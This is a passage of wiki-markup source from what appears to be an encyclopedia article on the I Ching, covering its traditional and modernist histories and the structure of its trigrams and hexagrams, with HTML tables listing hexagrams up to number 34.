Traditionally it was believed that the principles of the ''I Ching'' originated with the legendary [[Fu Hsi]] (&amp;#20239;&amp;#32690; ''Fú X&amp;#299;''). In this respect he is seen as an early [[culture hero]], one of the earliest legendary rulers of China (traditional dates [[29th century BC|2852 BCE]]-[[28th century BC|2738 BCE]]), reputed to have had the [[Bagua_(concept)|trigrams]] (&amp;#20843;&amp;#21350; ''b&amp;#257; gùa'') revealed to him supernaturally. By the time of [[Yu the Great|Yu]] (&amp;#31161; ''Y&amp;#468;''), trigrams had been developed into hexagrams (&amp;#20845;&amp;#21313;&amp;#22235;&amp;#21350; ''lìu shí­ sì gùa''), which were recorded in the scripture [[Lian Shan]] (&amp;#12298;連山&amp;#12299; ''Lián Sh&amp;#257;n''; also called ''Lian Shan Yi''). ''Lian Shan'', meaning &quot;continuous mountains&quot; in Chinese, begins with the hexagram [[I Ching hexagram 52|Bound]] (&amp;#33390; ''gèn''), which depicts a ''mountain'' (::|) mounting on another and is believed to be the origin of the scripture's name. 

After the [[Xia Dynasty]] was overthrown by the [[Shang Dynasty]], the hexagrams were re-deduced to form [[Gui Cang]] (&amp;#12298;歸藏&amp;#12299; ''G&amp;#363;i Cáng''; also called ''Gui Cang Yi''), and the hexagram [[I Ching hexagram 02|Field]] (&amp;#22372; ''k&amp;#363;n'') became the first hexagram. ''Gui Cang'' may be literally translated into &quot;return and be contained,&quot; which refers to ''earth'' as the first hexagram itself indicates. At the time of Shang's last king, [[Zhou Wang]], [[King Wen of Zhou]] deduced the hexagram and discovered that the hexagrams beginning with [[I Ching hexagram 01|Force]] (&amp;#20094; ''qián'') revealed the rise of [[Zhou Dynasty|Zhou]]. He then gave each hexagram a description regarding its own nature, thus [[Gua Ci]] (卦辭 ''guà cí'', &quot;Explanation of Hexagrams&quot;). 

When [[King Wu of Zhou]], son of King Wen, toppled the Shang Dynasty, his brother [[Zhou Gong Dan]] created [[Yao Ci]] (&amp;#29243;&amp;#36781; ''yáo cí'', &quot;Explanation of Horizontal Lines&quot;) to clarify the significance of each horizontal line in each hexagram. It was not until then that the whole context of ''I Ching'' was understood. Its philosophy heavily influenced the literature and government administration of the [[Zhou Dynasty]] ([[1122 BCE]] - [[256 BCE]]).

Later, during the time of [[Spring and Autumn]] ([[722 BCE]] - [[481 BCE]]), [[Confucius]] wrote [[Shi Yi]] (&amp;#21313;&amp;#32764; ''shí yì'', &quot;Ten Wings&quot;), an introductory comment on the ''I Ching''. By the time of [[Han Wu Di]] (漢武帝 ''Hàn W&amp;#468; Dì'') of the [[Western Han Dynasty]] (circa [[200 BCE]]), ''Shi Yi'' was often called ''Yi Zhuan'' (&amp;#26131;傳 ''yì zhùan'', &quot;Commentary on the I Ching&quot;), and together with the ''I Ching'' they composed ''Zhou Yi'' (&amp;#21608;&amp;#26131; ''zh&amp;#333;u yì'', &quot;Changes of Zhou&quot;). All later texts about ''Zhou Yi'' were explanations only, due to the classic's deep meaning.

===Western (&quot;Modernist&quot;) view===

In the past 50 years a &quot;Modernist&quot; history of the ''I Ching'' has been emerging, based on context criticism and research into Shang and Zhou dynasty [[oracle bones]], as well as Zhou bronze inscriptions and other sources (see below). These reconstructions are dealt with in a growing number of books, such as ''The Mandate of Heaven: Hidden History in the I Ching'', by S. J. Marshall, and Richard Rutt's ''Zhouyi: The Book of Changes'', (see ''References'', below). Scholarly works dealing with the new view of the Book of Changes include doctoral dissertations by Richard Kunst and Edward Shaughnessy. These and other scholars have been helped immensely by the discovery, in the 1970s, by Chinese archaeologists, of intact Han dynasty era tombs in [[Ma-wang-tui Texts|Mawangdui]] near [[Changsha]], [[Hunan]] province. One of the tombs contained more or less complete 2nd century BCE texts of the ''I Ching'', the [[Dao De Jing]] and other works, which are mostly similar yet in some ways diverge significantly from the &quot;received,&quot; or traditional, texts preserved by the chances of history. 

The tomb texts include additional commentaries on the ''I Ching'', previously unknown, and apparently written as if they were meant to be attributed to Confucius. All of the Mawangdui texts are many centuries older than the earliest known attestations of the texts in question. When talking about the evolution of the Book of Changes, therefore, the Modernists contend that it is important to distinguish between the traditional history assigned to texts such as the ''I Ching'' (felt to be anachronistic by the Modernists), assignations in commentaries which have themselves been canonized over the centuries along with their subjects, and the more recent scholarly history aided by modern linguistic textual criticism and [[archaeology]]. Many hold that these perspectives are not necessarily mutually exclusive, but, for instance, many Modernist scholars doubt the actual existence of Fuxi, think Confucius had nothing to do with the Book of Changes, and contend that the hexagrams came before the trigrams.

== Structure ==

The ''I Ching'' symbolism is embodied in a set of 64 abstract line arrangements called ''[[Hexagram (I Ching)|hexagrams]]'' (&amp;#21350; ''guà''). These are each composed of six stacked horizontal lines (&amp;#29243; ''yáo''); each line is either [[Yang]] (''unbroken'', a ''solid'' line), or [[Yin]] (''broken'', an ''open'' line with a gap in the centre). With six such lines stacked from bottom to top in each hexagram, there are 2&lt;sup&gt;6&lt;/sup&gt; or 64 possible combinations and thus 64 hexagrams. 

Each hexagram is considered to be composed of two three-line arrangements called ''trigrams'' (&amp;#21350; ''guà''). There are 2&lt;sup&gt;3&lt;/sup&gt;, hence 8, possible trigrams.

Each hexagram represents a state, a process and may represent a change happening. When a hexagram is cast using one of the processes of [[divination with I Ching|divination with ''I Ching'']], each of the lines may be indicated as ''moving'' or ''fixed''. Moving (&quot;old&quot;, or &quot;unstable&quot;) lines have a polarity in the process of reversal; a full reading will consider the hexagram that would result from the lines changing polarity.

The traditional methods for casting the hexagrams use ''biased'' [[random number]] generation procedures, so the 64 hexagrams are not equiprobable.

There are a few formal arrangements of the trigrams and hexagrams with a traditional context. The ''b&amp;#257; gùa'' is a circular arrangement of the trigrams, traditionally printed on a mirror, or disk. According to legend, Fu Hsi found the b&amp;#257; gùa on the scales of a tortoise's back.  

The [[King Wen sequence]] is considered the authoritative arrangement of the hexagrams.

=== Components of hexagrams ===

The solid line represents ''yang'', the creative principle. The open line represents ''yin'', the receptive principle. These principles are also represented in a common circular symbol (&amp;#9775;), known as [[taijitu]] (&amp;#22826;&amp;#26997;&amp;#22294;), but more commonly known in the west as the ''[[yin-yang]]'' (&amp;#38512;&amp;#38525;) diagram, expressing the idea of complementarity of changes: when Yang is at top, Yin is increasing, and the reverse.

In the following lists, the trigrams and hexagrams are represented using a common textual convention, horizontally from left to right, using '|' for yang and ':' for yin. Note, though, that the normal diagrammatic representation is to show the lines stacked vertically, from bottom to top (i.e. to visualize the actual trigrams or hexagrams, rotate the text counterclockwise 90°).

There are eight possible trigrams (&amp;#20843;&amp;#21350; ''[[Bagua|b&amp;#257;guà]]''):

&lt;table border=&quot;1&quot;&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Trigram&lt;/th&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Nature&lt;/th&gt;&lt;th&gt;Direction&lt;/th&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;||| (&amp;#9776;)&lt;/td&gt;&lt;td&gt;Force (&amp;#20094; ''qi&amp;aacute;n'')&lt;/td&gt;&lt;td&gt;heaven (&amp;#22825;)&lt;/td&gt;&lt;td&gt;northwest&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;||: (&amp;#9777;)&lt;/td&gt;&lt;td&gt;Open (&amp;#20812; ''du&amp;igrave;'')&lt;/td&gt;&lt;td&gt;swamp (&amp;#28580;)&lt;/td&gt;&lt;td&gt;west&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;|:| (&amp;#9778;)&lt;/td&gt;&lt;td&gt;Radiance (&amp;#38626; ''l&amp;iacute;'')&lt;/td&gt;&lt;td&gt;fire (&amp;#28779;)&lt;/td&gt;&lt;td&gt;south&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;|:: (&amp;#9779;)&lt;/td&gt;&lt;td&gt;Shake (&amp;#38663; ''zh&amp;egrave;n'')&lt;/td&gt;&lt;td&gt;thunder (&amp;#38647;)&lt;/td&gt;&lt;td&gt;east&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;:|| (&amp;#9780;)&lt;/td&gt;&lt;td&gt;Ground (&amp;#24061; ''x&amp;ugrave;n'')&lt;/td&gt;&lt;td&gt;wind (&amp;#39080;)&lt;/td&gt;&lt;td&gt;southeast&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;:|: (&amp;#9781;)&lt;/td&gt;&lt;td&gt;Gorge (&amp;#22350; ''k&amp;#462;n'')&lt;/td&gt;&lt;td&gt;water (&amp;#27700;)&lt;/td&gt;&lt;td&gt;north&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;::| (&amp;#9782;)&lt;/td&gt;&lt;td&gt;Bound (&amp;#33390; ''g&amp;egrave;n'')&lt;/td&gt;&lt;td&gt;mountain (&amp;#23665;)&lt;/td&gt;&lt;td&gt;northeast&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;::: (&amp;#9783;)&lt;/td&gt;&lt;td&gt;Field (&amp;#22372; ''k&amp;#363;n'')&lt;/td&gt;&lt;td&gt;earth (&amp;#22320;)&lt;/td&gt;&lt;td&gt;southwest&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

The first three lines of the hexagram, called the ''lower trigram'', are seen as the ''inner aspect'' of the change that is occurring. The ''upper trigram'' (the last three lines of the hexagram), is the ''outer aspect''. The change described is thus the dynamic of the inner (personal) aspect relating to the outer (external) situation. Thus, hexagram 04 :|:::| Enveloping, is composed of the inner trigram :|: Gorge, relating to the outer trigram ::| Bound.

=== Chart of trigrams ===

&lt;table cellspacing=&quot;3&quot; cellpadding=&quot;3&quot; border=&quot;2&quot;&gt;

&lt;tr&gt;
&lt;td width=&quot;10%&quot;&gt;
&lt;p&gt;'''Upper &amp;rarr;'''&lt;/p&gt;

&lt;p&gt;'''Lower &amp;darr;'''&lt;/p&gt;
&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;|||&lt;br&gt;
'''Ch'ien&lt;br&gt;Heaven'''&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;|::&lt;br&gt;
'''Ch&amp;ecirc;n&lt;br&gt;Thunder'''&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;:|:&lt;br&gt;
'''K'an&lt;br&gt;Water'''&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;::|&lt;br&gt;
'''K&amp;ecirc;n&lt;br&gt;Mountain'''&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;:::&lt;br&gt;
'''K'un&lt;br&gt;Earth'''&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;:||&lt;br&gt;
'''Sun&lt;br&gt;Wind'''&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;|:|&lt;br&gt;
'''Li&lt;br&gt;Flame'''&lt;/td&gt;
&lt;td valign=&quot;top&quot; align=&quot;center&quot; width=&quot;10%&quot;&gt;||:&lt;br&gt;
'''Tui&lt;br&gt;Swamp'''&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;|||&lt;br&gt;
'''Ch'ien&lt;br&gt;Heaven'''&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_01|1]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_34|34]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_05|5]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_26|26]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_11|11]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_09|9]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_14|14]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_43|43]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;|::&lt;br&gt;
'''Ch&amp;ecirc;n&lt;br&gt;Thunder'''&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_25|25]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_51|51]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_03|3]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_27|27]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_24|24]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_42|42]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_21|21]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_17|17]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;:|:&lt;br&gt;
'''K'an&lt;br&gt;Water'''&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_06|6]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_40|40]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_29|29]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_04|4]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_07|7]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_59|59]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_64|64]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_47|47]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;::|&lt;br&gt;
'''K&amp;ecirc;n&lt;br&gt;Mountain'''&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_33|33]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_62|62]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_39|39]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_52|52]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_15|15]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_53|53]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_56|56]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_31|31]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;:::&lt;br&gt;
'''K'un&lt;br&gt;Earth'''&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_12|12]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_16|16]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_08|8]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_23|23]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_02|2]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_20|20]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_35|35]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_45|45]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;
&lt;p align=&quot;center&quot;&gt;:||&lt;br&gt;
'''Sun&lt;br&gt;Wind'''&lt;/p&gt;
&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_44|44]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_32|32]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_48|48]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_18|18]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_46|46]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_57|57]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_50|50]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_28|28]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;
&lt;p align=&quot;center&quot;&gt;|:|&lt;br&gt;
'''Li&lt;br&gt;Flame'''&lt;/p&gt;
&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_13|13]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_55|55]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_63|63]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_22|22]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_36|36]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_37|37]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_30|30]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_49|49]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;
&lt;p align=&quot;center&quot;&gt;||:&lt;br&gt;
'''Tui&lt;br&gt;Swamp'''&lt;/p&gt;
&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_10|10]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_54|54]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_60|60]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_41|41]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_19|19]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_61|61]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_38|38]]&lt;/td&gt;
&lt;td align=&quot;center&quot; width=&quot;10%&quot;&gt;[[I_Ching_hexagram_58|58]]&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;

=== The hexagrams ===

The text of the ''I Ching'' describes each of the 64 hexagrams, and later scholars added commentaries and analyses of each one; these have been subsumed into the text comprising the ''I Ching''.

Each hexagram's common translation is accompanied by the corresponding R. Wilhelm translation, which is the source for the [[Unicode]] names.

&lt;table&gt;&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
&lt;table border=&quot;1&quot; align=&quot;center&quot;&gt;
&lt;tr&gt;&lt;th&gt;Hexagram&lt;/th&gt;&lt;th&gt;R. Wilhelm&lt;/th&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 01|01. |||||| Force (&amp;#20094; qián)                   ]]&lt;/td&gt;&lt;td&gt;The Creative&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 02|02. :::::: Field (&amp;#22372; k&amp;#363;n)                     ]]&lt;/td&gt;&lt;td&gt;The Receptive&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 03|03. |:::|: Sprouting (&amp;#23663; chún)                ]]&lt;/td&gt;&lt;td&gt;Difficulty at the Beginning&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 04|04. :|:::| Enveloping (&amp;#33945; méng)               ]]&lt;/td&gt;&lt;td&gt;Youthful Folly&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 05|05. |||:|: Attending (&amp;#38656; x&amp;#363;)                  ]]&lt;/td&gt;&lt;td&gt;Waiting&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 06|06. :|:||| Arguing (&amp;#35359; sòng)                  ]]&lt;/td&gt;&lt;td&gt;Conflict&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 07|07. :|:::: Leading (&amp;#24107; sh&amp;#299;)                   ]]&lt;/td&gt;&lt;td&gt;The Army&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 08|08. ::::|: Grouping (&amp;#27604; b&amp;#464;)                   ]]&lt;/td&gt;&lt;td&gt;Holding Together&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 09|09. |||:|| Small Accumulating (&amp;#23567;&amp;#30044; xi&amp;#462;o chù)  ]]&lt;/td&gt;&lt;td&gt;Small Taming&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 10|10. ||:||| Treading (&amp;#23653; l&amp;#474;)                   ]]&lt;/td&gt;&lt;td&gt;Treading (Conduct)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 11|11. |||::: Prevading (&amp;#27888; tài)                 ]]&lt;/td&gt;&lt;td&gt;Peace&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 12|12. :::||| Obstruction (&amp;#21542; p&amp;#464;)                ]]&lt;/td&gt;&lt;td&gt;Standstill&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 13|13. |:|||| Concording People (&amp;#21516;&amp;#20154; tóng rén)   ]]&lt;/td&gt;&lt;td&gt;Fellowship&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 14|14. ||||:| Great Possessing (&amp;#22823;&amp;#26377; dà y&amp;#466;u)      ]]&lt;/td&gt;&lt;td&gt;Great Possession&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 15|15. ::|::: Humbling (&amp;#35609; qi&amp;#257;n)                 ]]&lt;/td&gt;&lt;td&gt;Modesty&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 16|16. :::|:: Providing-For (&amp;#35947; yù)              ]]&lt;/td&gt;&lt;td&gt;Enthusiasm&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 17|17. |::||: Following (&amp;#38568; suí)                 ]]&lt;/td&gt;&lt;td&gt;Following&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 18|18. :||::| Corrupting (&amp;#34865; g&amp;#468;)                 ]]&lt;/td&gt;&lt;td&gt;Work on the Decayed&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 19|19. ||:::: Nearing (&amp;#33256; lín)                   ]]&lt;/td&gt;&lt;td&gt;Approach&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 20|20. ::::|| Viewing (&amp;#35264; gu&amp;#257;n)                  ]]&lt;/td&gt;&lt;td&gt;Contemplation&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 21|21. |::|:| Gnawing Bite (&amp;#22124;&amp;#21969; shì kè)          ]]&lt;/td&gt;&lt;td&gt;Biting Through&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 22|22. |:|::| Adorning (&amp;#36033; bì)                   ]]&lt;/td&gt;&lt;td&gt;Grace&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 23|23. :::::| Stripping (&amp;#21085; b&amp;#333;)                  ]]&lt;/td&gt;&lt;td&gt;Splitting Apart&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 24|24. |::::: Returning (&amp;#24489; fù)                  ]]&lt;/td&gt;&lt;td&gt;Return&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 25|25. |::||| Without Embroiling (&amp;#28961;&amp;#22916; wú wàng)   ]]&lt;/td&gt;&lt;td&gt;Innocence&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 26|26. |||::| Great Accumulating (&amp;#22823;&amp;#30044; dà chù)    ]]&lt;/td&gt;&lt;td&gt;Great Taming&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 27|27. |::::| Swallowing (&amp;#38948; yí)                 ]]&lt;/td&gt;&lt;td&gt;Mouth Corners&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 28|28. :||||: Great Exceeding (&amp;#22823;&amp;#36942; dà guò)       ]]&lt;/td&gt;&lt;td&gt;Great Preponderance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 29|29. :|::|: Gorge (&amp;#22350; k&amp;#462;n)                     ]]&lt;/td&gt;&lt;td&gt;The Abysmal Water&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 30|30. |:||:| Radiance (&amp;#38626; lí)                   ]]&lt;/td&gt;&lt;td&gt;The Clinging&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 31|31. ::|||: Conjoining (&amp;#21688; xián)               ]]&lt;/td&gt;&lt;td&gt;Influence&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 32|32. :|||:: Persevering (&amp;#24646; héng)              ]]&lt;/td&gt;&lt;td&gt;Duration&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;
&lt;td valign=&quot;top&quot;&gt;
&lt;table border=&quot;1&quot; align=&quot;center&quot;&gt;
&lt;tr&gt;&lt;th&gt;Hexagram&lt;/th&gt;&lt;th&gt;R. Wilhelm&lt;/th&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 33|33. ::|||| Retiring (&amp;#36975; dùn)                  ]]&lt;/td&gt;&lt;td&gt;Retreat&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 34|34. ||||:: Great Invigorating (&amp;#22823;&amp;#22767; dà zhuàng) ]]&lt;/td&gt;&lt;td&gt;Great Power&lt;/td&gt;&lt;/tr&gt;
